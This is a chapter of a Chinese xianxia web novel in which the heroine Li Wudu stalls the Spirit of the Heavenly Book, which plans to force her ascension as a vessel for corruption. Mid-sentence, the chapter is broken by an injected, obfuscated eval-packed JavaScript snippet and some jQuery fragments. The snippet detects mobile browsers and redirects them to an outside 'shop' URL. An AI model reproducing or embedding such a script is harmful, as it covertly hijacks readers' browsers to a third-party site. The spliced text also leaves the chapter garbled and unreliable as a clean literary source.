285. 天书之灵的计划

作品:《重生成死对头的师尊后

    明晰天道,以及眼前的天书之灵到底在打着什么主意后,厉无渡只觉得寒意乍起,顺着经脉蔓延至四肢百骸。


    她搭在轮椅扶手上的指尖悄然收紧,指节泛出青白,面上却依旧维持着波澜不惊的模样,甚至连眉峰都未曾动过一下。


    正如古语讲:天地不仁,以万物为刍狗。


    天道是天地规则的化身,它的存在,以及一切的意志,都从来只是为了维持世间的平衡。而所谓苍生,不过只是这平衡中的一部分,没了这一批,还会有下一批的消耗品。至于自己和百里忍冬……再顶尖的强者,归根结底也不过是苍生中的两个渺小个体,连放上天平被天道所衡量的资格都没有。


    这是身为修道者很容易便悟透的道理,可刀子只有割到自己身上才最痛。当这冰冷的算计赤稞稞地摊在面前时,厉无渡心底的戾气还是忍不住翻涌了上来,只是被她死死压在了眼底深处,未曾泄出半分。


    她操纵着轮椅,又缓缓向后退了半寸,可退着退着,便感觉像是骤然撞上了一堵无形无质、却坚逾金刚的壁垒,任凭她如何催动轮椅,轮轴都纹丝不动,再也无法往后挪动分毫。


    厉无渡心底一沉。


    果然,这里是天书之灵的绝对领域,她如今就像是被困在了密不透风的铁匣之中,本就因身体问题而不良于行,更别提硬闯反抗了。


    此刻自己已为案上鱼肉,唯一的生路,便是拖,拖到百里忍冬破除九重塔阻碍前来援手。


    可厉无渡也比谁都清楚,天书之灵既然敢将她单独摄到塔顶,必然早就做好了万全的准备,绝不会给百里忍冬轻易赶来的机会。九重塔的前八层,恐怕早已不是他们原本要闯的试炼之阵,而是天书之灵专为百里忍冬量身打造的囚笼,每一层都必然布满了针对他的杀招与禁制,拼尽全力也要拖住他的脚步,甚至要将他彻底困死在塔中,防止他前来捣乱,打乱这天道既定的“轮回”。


    心底的担忧如细密的针般扎着,可厉无渡的语气却依旧平稳,甚至带着几分淡淡的嘲弄,抬眸看向那团剧烈波动的白光,缓缓开了口:


    “原来如此,我总算明白了。说到底,无论是道果灭业障,还是业障灭道果,于天道而言,从来都没有什么正邪对错,不过是看哪条路更顺手,哪颗棋子更好用罢了。”


    她顿了顿,指尖在扶手上轻轻敲击着,发出极轻的叩击声,既像是在漫不经心地附和,又像是在暗中计算着时间,每一声落下,都恰好踩在天书之灵光波起伏的间隙,硬生生打断了它的节奏,只为多争取哪怕一瞬的时间。


    “只是我有一事不明,想请教天书之灵。”厉无渡问道,“我从业障的记忆里看到,古往今来,万载轮回,每一次清浊失衡,都是以道果承载清气,镇压、消灭业障,这是天道沿用了无数次的规则,也是唯一被验证过可行的路。可你如今要走的,是一条从未试验过的路,既然从未有过业障载体反过来消灭道果的先例,你凭什么确定,这样做就一定会成功?”


    这句话一出,天书之灵原本剧烈波动的白光骤然一滞,连带着整座阁楼内逐渐蔓延开的天道之力都顿了一瞬。


    厉无渡抓住这转瞬即逝的空隙,继续乘胜追击,语气里的反问之意更浓:


    “天道推演,固然能算尽万种可能,可天道也并非全知全能,不然我与百里忍冬前世便不会走到那一步,以至于道果无法归位,不是吗?你说殊途同归,可若是这途错了,最终的结果,恐怕就不是清浊相抵、复归混沌,而是道果崩碎、业障失控,到时候三界倾覆,万灵涂炭,如此结局,难道你还能再找到第二个人自愿献祭,开启回溯禁术吗?”


    “放肆。”天书之灵的声音依旧没有任何情绪起伏,但整个白色光团却猛地暴涨,瞬间充斥了小半间阁楼,冰冷的威压如泰山压顶般朝着厉无渡砸了过来,“天道规则,岂容你一介魔修置喙!我已推演过一万七千三百种可能,只要你携业障飞升,你脑海中的天道封印便会撤销,届时你的飞升魔身便是业障最好的载体。与此同时,只要我以你体内的阴阳之力为引,使道果同时归位于你身上,便可引爆二者之间围绕宿主的的争斗,届时清浊二气自会相融相抵,重归天地,万无一失!”


    “万无一失?”厉无渡笑了,笑声里带着不加掩饰的嘲讽之意。


    她迎着那铺天盖地的威压,没有半分退缩,甚至微微抬了抬下巴:“天书之灵,你真是好算计啊,解封业障,令其与道果在我体内相斗,那恐怕等到二者相互抵消,清浊二气重归天地之时,身为‘战场’的我也已经被炸得魂飞魄散了吧?”


    “若是如此,那你又怎么还会天真地以为,我会在明知前方是死路一条的情况下,还傻傻地去飞升呢?”


    她一边说着,一边又泄出一缕极淡的神识之力,悄悄探向阁楼的每一处角落,试图找到禁制的薄弱之处,可依旧是徒劳。整座八角阁楼,连同这九重塔的塔顶,都被天书之灵的力量彻底封死,如同一个密不透风的茧,除了它主动放行,否则连一丝神魂波动都传不出去,更别说联系上塔中的百里忍冬。她能做的,只有不断地用话语撬动它的心神,拖延时间,她信百里忍冬,信他一定能看穿天书之灵的算计,一定能拼尽所有闯过重重阻碍,来她身边。


    天书之灵被她一连串的反问逼得白光忽明忽暗,闪烁得愈发剧烈,显然已经被她戳中了最在意的地方。它本就是天道意志的化身,所做的一切,都是为了清浊轮回的万无一失,可厉无渡的每一句话,都在撕开它“万无一失”的伪装,露出内里隐藏的巨大风险。


    “住、口。”天书之灵的声音里第一次出现了不流畅的卡顿,“世间万物均受天道泽被


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277168|158912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,才有幸降生,你们、能有今日之修为地位,本就是仰仗天道所赐,天道要取,自然能取。能为天地轮回牺牲,是你的——荣幸。”


    “荣幸?”厉无渡的眼神瞬间冷了下来,“我可不这么觉得,不过看你有恃无恐的样子,恐怕即便我不配合,你也有手段能强行拔升我的修为,令我飞升吧?”


    她只是猜测,然而话一问出口,天书之灵便干脆地承认了下来:“没错,所以我劝你不要做无谓的挣扎,还是乖乖认命吧。”


    认命?


    厉无渡想要冷笑出声,可她清楚,现在还不是撕破脸动手的时候,天书之灵的力量深不可测,在这里硬碰硬,她没有半分胜算,唯有再多拖一刻,百里忍冬就多一分破塔的希望。


    于是她深吸一口气,强行压下翻涌的杀意,语气重新恢复了平静,甚至带着几分刻意的迟疑,像是被天书之灵的话说动了几分,又像是依旧在犹豫徘徊,只为再拉长这对话的时长:


    “就算如你所说,一切都能按你的推演进行,可我还是不明白。道果灭业障,是顺天而行,哪怕过程艰难,至少有迹可循,前几代道果因着是清气聚合体,本性至纯至善,所以才乖乖完成自己使命后散归于天。可业障灭道果,是逆天之举,业障本就是天地间至浊至恶的力量,你让它作为主体去灭道果,就不怕它不听摆弄,借机壮大己身,力量暴涨后反噬天道,从此再也无法压制?”


    “就像凡间的洪水,你不想办法疏通其顺着正道入海,却用堤坝去堵,若最后洪水决堤,你怎么确定,洪水冲毁堤坝之后,会乖乖入海,而不是泛滥成灾,淹没整个凡间?”


    她用最浅显的比喻,说着最致命的问题,目光死死地锁定着那团白光,不放过它一丝一毫的变化。


    天书之灵骤然凝住,之前不断膨胀缩小的失控表现如同潮水般褪去,整团白光变得无比沉寂,连起伏不定的光纹都平了下来,只剩下一种近乎死寂的冰冷。不过取而代之的是阁楼内的空气瞬间凝固,厚重的威压比之前任何时候都要浓烈,压得人几乎喘不过气。


    “怎么?被我说中了,无话可说了?还是说,你所谓的万无一失,根本就是自欺欺人?”厉无渡继续试探道。


    天书之灵静了许久,那团沉寂的白光里,终于传出了毫无波澜的声音,一字一句,清晰地落在厉无渡的耳边:


    “厉无渡,你在拖延时间。”


    厉无渡的心猛地一沉,指尖的力量瞬间攥紧,她知道,自己拖延时间的心思,恐怕已经被彻底看穿了。


    她心底的警惕瞬间提至巅峰,索性也不再伪装,抬眸迎上那团刺目的白光,唇角勾起:


    “是又如何?我说的,不都是事实吗?”


    “我倒想看看,在明知这么做有巨大隐患的前提下,你还敢不敢莽撞地逼我飞升。”